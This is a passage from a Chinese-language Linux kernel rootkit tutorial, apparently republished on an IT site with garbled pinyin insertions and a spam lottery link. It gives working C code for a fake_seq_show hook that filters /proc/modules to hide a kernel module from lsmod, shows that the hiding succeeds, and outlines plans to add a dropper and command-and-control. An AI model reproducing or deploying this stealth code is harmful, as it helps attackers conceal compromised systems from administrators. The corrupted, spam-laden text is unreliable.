     // 分配(pei)一個 ``struct seq_file`` 的 內存。
     p = kzalloc(sizeof(*p), GFP_KERNEL);
     if (!p)
         return -ENOMEM;
     // 讀(du)者看到這(zhe)一行應該就能理解了。
     // 對 ``/proc/modules`` 而言(yan),
     // ``struct file`` 的 ``private_data`` 指(zhi)向(xiang)的就是
     // 他的 ``struct seq_file``。
     file->private_data = p;
     mutex_init(&p->lock);
     // 把 ``struct seq_file`` 的 ``op`` 成(cheng)員(yuan)賦值(zhi)成(cheng) ``op``,
     // 這(zhe)個 ``op`` 里就包含了我們(men)要(yao)鉤的 ``m_show`` 。
     p->op = op;
     // 這(zhe)兒省(sheng)略若干代碼。
     return 0;
}
這(zhe)時候(hou),我們(men)可以看chun)/proc/modules 的假(jia) show 函數了。過濾邏輯是很容易理解的; 讀(du)者應該重(zhong)點注意一下 last_size 的計算,這(zhe)也(ye)就是筆(bi)者在講(jiang)端(duan)口隱藏時說(shuo)到我們(men)可以不用 TMPSZ ,我們(men)可以自己(ji)計算這(zhe)一條(tiao)記錄的大小。自己(ji)計算的靈(ling)活性就在于,就算每個記錄的大小不是同(tong)樣長(chang)的,我們(men)的代碼也(ye)能正(zheng)常工作。
注 ︰ /proc/modules 里的每條(tiao)記錄長(chang)度確實不是一樣,有(you)長(chang)有(you)短。
int
fake_seq_show(struct seq_file *seq, void *v)
{
    int ret;
    size_t last_count, last_size;
    // 保存一huan)``count`` 值(zhi),
    // 下面(mian)的 ``real_seq_show`` 會往緩沖區(qu)里填充一條(tiao)記錄,
    // 添加完成(cheng)後,seq->count 也(ye)會增加。
    last_count = seq->count;
    ret =  real_seq_show(seq, v);
    // 填充記錄之(zhi)後的 count 減(jian)去填充之(zhi)前的 count
    // 就可以得到填充的這(zhe)條(tiao)記錄的大小了。
    last_size = seq->count - last_count;
    if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE,
                last_size)) {
        // 是需要(yao)隱藏的模塊(kuai),
        // 把緩沖區(qu)已經使用的量減(jian)去這(zhe)條(tiao)記錄的長(chang)度,
        // 也(ye)就相當于把這(zhe)條(tiao)記錄去掉了。
        fm_alert("Hiding module: %s ", SECRET_MODULE);
        seq->count -= last_size;
    }
    return ret;
}
實驗
我們(men)選擇隱藏模塊(kuai)自己(ji)( kohidko )來做(zuo)演示。看下圖(tu)。 加載 kohidko之(zhi)後, lsmod 沒(mei)有(you)顯示出我們(men)的模塊(kuai), /sys/module下面(mian)也(ye)列舉不到我們(men)的模塊(kuai); 並且,右(you)側 dmesg 的日志也(ye)表(biao)明我們(men)的假(jia)filldir 與假(jia) show 函數起了過濾作用。

第二部(bu)分︰未來展望
至lian)ci),我們(men)討論了大部(bu)分作為一個 Rootkit 必備的基本功能;但是,我們(men)的代碼依舊是零(ling)散的一個一個的實驗,而不是一個有(you)機的整體。當然(ran),筆(bi)者的代碼盡可能的做(zuo)好了布局組織與模塊(kuai)化,這(zhe)能給我們(men)以後組裝的時候(hou)節省(sheng)一些(xie)力氣。
在接下來的文章里,一huan)矯mian),我們(men)會把這(zhe)些(xie)一個一個零(ling)散的實驗代碼組裝成(cheng)一個能進行實驗性部(bu)署的Rootkit。要(yao)實現這(zhe)個目標, 除了組裝,我們(men)還需要(yao)釋(shi)放程序( Dropper ),還需要(yao)增加遠程控(kong)制( Command & Control )能力。
再者,我們(men)可能會著手討論 Rootkit 的檢測與反檢測。 還有(you)就是討論當前 LinuxRootkit 的實際發展狀態, 比如分析已知用于實際攻擊的 Rootkit所采(cai)用的技術, 分析我們(men)的技術水平jiang)cha)異(yi),並從中(zhong)學習如何實現zhi)冉墓δ塴br />最後,我們(men)還可能改善兼容性與拓展性。我們(men)現在的代碼只在比較新的內核(he)版本(比如 4.5.x / 4.6.x)上(shang)測試過。而且,我們(men)壓根就沒(mei)有(you)考慮已知的兼容性問題。 因而,要(yao)想在 3.x,甚至 2.x上(shang)跑, 我們(men)還需要(yao)花時間兼容不同(tong)版本的內核(he)。然(ran)後,我們(men)還希望往其他架構(gou)上(shang)發展(比如 ARM )。
下車,走好。
 

 

 

  • 甘肃快三官网

About IT165 - 廣告服務(wu) - 隱私聲明 - 版權申(shen)明 - 免責(ze)條(tiao)款(kuan) - 網站地圖(tu) - 網友投稿 - 聯系方式
本站內容來自于互聯網,僅供用于網絡技術學習,學習中(zhong)請(qing)遵循(xun)相關法律法規
甘肃快三官网 | 下一页